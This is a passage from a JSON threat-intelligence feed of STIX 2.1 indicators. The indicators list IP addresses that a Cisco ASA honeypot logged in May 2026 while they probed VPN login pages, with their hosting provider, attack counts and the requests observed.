      "created": "2026-05-06T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--72351247-eecb-44dc-bbcd-255f55ee03d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:20:06.000Z",
      "valid_until": "2026-06-07T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 48,
          "first_seen": "2026-05-06T01:51:30.632Z",
          "last_seen": "2026-05-30T09:14:27.117Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T03:21:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--56052577-68ad-42f1-96d5-a9307e9963e7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:19.000Z",
      "valid_until": "2026-06-07T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-06T02:21:14.229Z",
          "last_seen": "2026-05-29T23:36:19.338Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T03:21:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 25737 (Jone Broadband LLC)",
      "id": "indicator--6b6744b4-836e-4337-b6af-cd6997da1def",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.8.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:19.000Z",
      "valid_until": "2026-06-07T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-06T02:50:34.832Z",
          "last_seen": "2026-05-26T16:37:35.834Z",
          "country": "United States",
          "country_code": "US",
          "asn": 25737,
          "as_org": "Jone Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T03:21:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--43473b46-019d-4292-bf24-dd2ef55c17cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:19.000Z",
      "valid_until": "2026-06-07T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-06T03:17:37.475Z",
          "last_seen": "2026-05-31T01:18:19.220Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T03:21:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--81265e52-7200-49f0-aecc-5ed2abd1df8a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:19.000Z",
      "valid_until": "2026-06-07T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-06T02:55:18.916Z",
          "last_seen": "2026-05-27T10:35:24.335Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T03:21:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0e98cd9b-6bb8-4085-a8fe-68f42ee2a09b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:19.000Z",
      "valid_until": "2026-06-07T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-06T03:15:45.092Z",
          "last_seen": "2026-05-30T15:18:56.894Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T03:21:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cff8a624-3bfe-4366-888e-82485e04264b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:19.000Z",
      "valid_until": "2026-06-07T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 19,
          "first_seen": "2026-05-06T02:37:16.230Z",
          "last_seen": "2026-05-22T10:57:50.006Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--d073b9ff-d5a7-42df-accf-7e83b8e0bc63",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '209.182.225.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:20:12.000Z",
      "valid_until": "2026-06-07T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 17,
          "first_seen": "2026-05-06T03:49:10.736Z",
          "last_seen": "2026-05-06T04:48:44.310Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--33cf115a-dc0d-4c6c-bb98-55bbe998e395",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:20:12.000Z",
      "valid_until": "2026-06-07T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-06T04:00:29.743Z",
          "last_seen": "2026-05-06T04:00:36.824Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2d4a593b-5e8d-48e0-883d-d2a92f8d155b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:20:12.000Z",
      "valid_until": "2026-06-07T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-06T03:29:09.116Z",
          "last_seen": "2026-05-07T04:03:13.955Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bd997b4b-7943-4f58-b904-08e59675c908",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.79.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:20:12.000Z",
      "valid_until": "2026-06-07T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-06T04:10:26.311Z",
          "last_seen": "2026-05-31T03:34:15.919Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c2a82985-606f-41c7-af6f-a804f09612ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:20:12.000Z",
      "valid_until": "2026-06-07T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 22,
          "first_seen": "2026-05-06T03:30:18.624Z",
          "last_seen": "2026-05-30T07:50:04.847Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--78fe0013-4c02-4941-9ecf-13b9fba1acad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:20:10.000Z",
      "valid_until": "2026-06-07T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-03T16:08:39.219Z",
          "last_seen": "2026-05-29T21:18:35.317Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--964f8e6b-a4e8-42e2-921b-70af00cbe8d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:20:10.000Z",
      "valid_until": "2026-06-07T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-06T04:29:09.550Z",
          "last_seen": "2026-05-06T04:29:12.553Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d8035baf-ba5c-439b-8f20-07ad9d42cd5c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:20:10.000Z",
      "valid_until": "2026-06-07T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 22,
          "first_seen": "2026-05-06T04:32:20.411Z",
          "last_seen": "2026-05-25T08:56:48.241Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--6cb2bef3-20af-4ab5-b1ae-37cc192adf97",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.212.65.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:20:07.000Z",
      "valid_until": "2026-06-08T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-07T00:56:56.299Z",
          "last_seen": "2026-05-07T00:56:59.301Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--630e35e2-a57d-4975-8f5a-bd9ec34d7e03",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:20:07.000Z",
      "valid_until": "2026-06-08T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-07T01:08:25.207Z",
          "last_seen": "2026-05-29T17:06:00.013Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--befa0b6c-c2b3-43e0-a781-39e2670561e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.87.171.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:20:07.000Z",
      "valid_until": "2026-06-08T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T00:57:17.576Z",
          "last_seen": "2026-05-07T00:57:17.576Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--dcb893e9-a005-4be4-8c11-b3b33465f216",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '98.81.162.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:20:07.000Z",
      "valid_until": "2026-06-08T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T01:04:20.058Z",
          "last_seen": "2026-05-07T01:04:20.058Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--c485e9fb-af9e-4fc7-ab6b-a952c9a321e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:20:05.000Z",
      "valid_until": "2026-06-08T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-07T01:53:54.710Z",
          "last_seen": "2026-05-31T01:59:58.226Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e6fb0d1e-5e63-40d9-85ed-3828f7c08e2e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
